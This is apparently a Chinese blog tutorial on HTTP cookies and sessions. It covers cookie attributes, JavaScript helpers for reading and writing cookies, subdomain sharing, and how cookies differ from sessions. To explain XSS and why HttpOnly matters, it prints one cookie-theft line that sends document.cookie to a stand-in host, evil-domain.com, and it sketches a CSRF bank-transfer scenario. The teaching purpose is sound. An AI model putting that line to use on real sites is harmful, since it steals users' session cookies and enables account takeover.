Cookie 是什么
Cookie 是用户浏览器保存在本地的一小块数据，它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。
Cookie 主要用于以下三个方面：
会话状态管理(如用户登录状态、购物车、游戏分数或其它需要记录的信息)
个性化设置(如用户自定义设置、主题等)
浏览器行为跟踪(如跟踪分析用户行为等)
Domain 标识指定了哪些主机可以接受 Cookie。如果不指定，默认为当前文档的主机(不包含子域名)。如果指定了 Domain，则一般包含子域名(子域名可以访问父域名的 Cookie)。
例如，如果设置 Domain=mozilla.org，则 Cookie 也包含在子域名中(如 developer.mozilla.org)。
Path 标识指定了主机下的哪些路径可以接受 Cookie(该 URL 路径必须存在于请求 URL 中)。以字符 %x2F (/) 作为路径分隔符，子路径也会被匹配。
设置 Path=/docs，则以下地址都会匹配：
/docs
/docs/Web/
/docs/Web/HTTP
Cookie 的过期时间，过了这个时间之后 Cookie 将会自动删除。
Set-Cookie:id=a3fWa; Expires=Wed,21Oct201507:28:00GMT;
Max-Age 的单位是秒。
document.cookie='promo_shown=1; Max-Age=2600000; Secure'
为避免跨域脚本 (XSS) 攻击，通过 JavaScript 的 Document.cookie API 无法访问带有 HttpOnly 标记的 Cookie，它们只应该发送给服务端。如果包含服务端 Session 信息的 Cookie 不想被客户端 JavaScript 脚本调用，那么就应该为其设置 HttpOnly 标记。
Set-Cookie:id=a3fWa; Expires=Wed,21Oct201507:28:00GMT; Secure; HttpOnly
标记为 Secure 的 Cookie 只应通过被 HTTPS 协议加密过的请求发送给服务端。
www.ruanyifeng.com/blog/2019/0…
www.zhihu.com/question/37…
SameSite Cookie 允许服务器要求某个 Cookie 在跨站请求时不会被发送，从而可以阻止跨站请求伪造攻击(CSRF)。
Set-Cookie:key=value; SameSite=Strict
None 浏览器会在同站请求、跨站请求下继续发送 Cookies，不区分大小写；
Strict 浏览器将只发送相同站点请求的 Cookie(即当前网页 URL 与请求目标 URL 完全一致)。如果请求来自与当前 location 的 URL 不同的 URL，则不包括标记为 Strict 属性的 Cookie；
Lax 在新版本浏览器中，为默认选项，Same-site Cookies 将会为一些跨站子请求保留，如图片加载或者 iframe 不会发送，而点击 标签会发送；
www.w3school.com.cn/js/js_cooki…
设置 Cookie 和修改 Cookie 相同：
functionsetCookie(cname, cvalue, exdays) {constd =newDate() d.setTime(d.getTime() + exdays *24*60*60*1000)constexpires ='expires='+ d.toUTCString()return(document.cookie= cname +'='+ cvalue +';'+ expires +';path=/')}
删除 Cookie：
functiondeleteCookie(cname) {constd =newDate()constexpires ='expires='+ d.toUTCString()return(document.cookie= cname +'='+';'+ expires +';path=/')}
查询 Cookie：
functiongetCookie(cname) {constcookieObj =document.cookie.split(';').reduce((prev, curr) =>{constentry = curr.split('=') prev[entry[0].trim()] = entry[1]returnprev }, {})if(cname)returncookieObj[cname]returncookieObj}
Cookie 可以设置成给子域名共享，类似于在 x.com.cn 设置的 Cookie 可以提供给 a.x.com.cn、b.x.com.cn、suba.a.x.com.cn 等域名访问。
比如下面的方式：
res.writeHead(200, {'Set-Cookie': ['name=sub-x-com-cn; path=/;domain=x.com.cn','name=only-x-com-cn; path=/'],})
domain=x.com.cn 表示 domain=x.com.cn 及其子域名都可以使用， 不写 doamin 默认只有当前域名可用，设置的 Cookie 是这样的：
设置 Cookie 时，在 x.com.cn 设置为 ...;domain=x.com.cn 的 Cookie 可以给 x.com.cn 及其子域名使用；
设置 Cookie 时，在 x.com.cn 设置没有 domain 的 Cookie 只能给 x.com.cn 使用；
父域名无法在子域名设置 Cookie，例如在 x.com.cn 设置了 name=lxfriday;domain=subx.x.com.cn，这种设置是无效的；
Cookie 不区分端口；
一个 Cookie 存储上限是 4K 大小；
Cookie 只能存储 ASCII 字符串；
newImage().src='http://www.evil-domain.com/steal-cookie.php?cookie='+document.cookie
HttpOnly 类型的 Cookie 由于阻止了 JavaScript 对其的访问性而能在一定程度上缓解此类攻击。
当你打开含有了这张图片的 HTML 页面时，如果你之前已经登录了你的银行帐号并且 Cookie 仍然有效(还没有其它验证步骤)，你银行里的钱很可能会被自动转走。
这种情况只是一种假设，实际上应该不允许使用 GET 修改数据，对转账的操作需要添加二次确认。
Session 机制是一种服务器端的机制，服务器使用一种类似于散列表的结构(也可能就是使用散列表)来保存信息。
当程序需要为某个客户端的请求创建一个 Session 时，服务器首先检查这个客户端的请求里是否已包含了一个 Session 标识(称为 Session ID)，如果已包含则说明以前已经为此客户端创建过 Session，服务器就按照 Session ID 把这个 Session 检索出来使用(检索不到，会新建一个)，如果客户端请求不包含 Session ID，则为此客户端创建一个 Session 并且生成一个与此 Session 相关联的 Session ID，Session ID 的值应该是一个既不会重复，又不容易被找到规律以仿造的字符串，这个 Session ID 将被在本次响应中返回给客户端保存。
Session 从客户端传输到服务端的方式有两种：
通过 Cookie 传输；
通过 URL 传输；
表单隐藏字段，通过在 中添加一个隐藏字段，把 Session 传回服务器；
基于 Cookie 实现，会话期 Cookie 是最简单的 Cookie：浏览器关闭之后它会被自动删除，也就是说它仅在会话期内有效。会话期 Cookie 不需要指定过期时间(Expires)或者有效期(Max-Age)。
Set-Cookie: name=lxfriday.xyz; path=/;HttpOnly
mp.weixin.qq.com/s?__biz=MzA…
保存的地方不同，Cookie 保存在客户端，Session 保存在服务端；
有效期不同，Cookie 可以存储很长时间，Session 只能存在于一次会话中，浏览器关闭之后 Session 就失效了；
安全性不同，Cookie 存储在客户端容易被盗取或者利用，Session 在服务端比较安全；
存储大小不同，单个 Cookie 能存储 4K 的数据，Session 存储量比 Cookie 高得多；
存取方式不同，Cookie 中只能保存 ASCII 字符串，假如需求存取 Unicode 字符或者二进制数据，需求先进行编码。Session 中能够存取任何类型的数据；
服务器压力不同，Session 是存储在服务端的，巨大并发的时候会使服务器资源急速飙升。Cookie 则不存在此问题；
作者：云影sky
链接：https://juejin.im/post/5e57a3ff6fb9a07cb1578d12
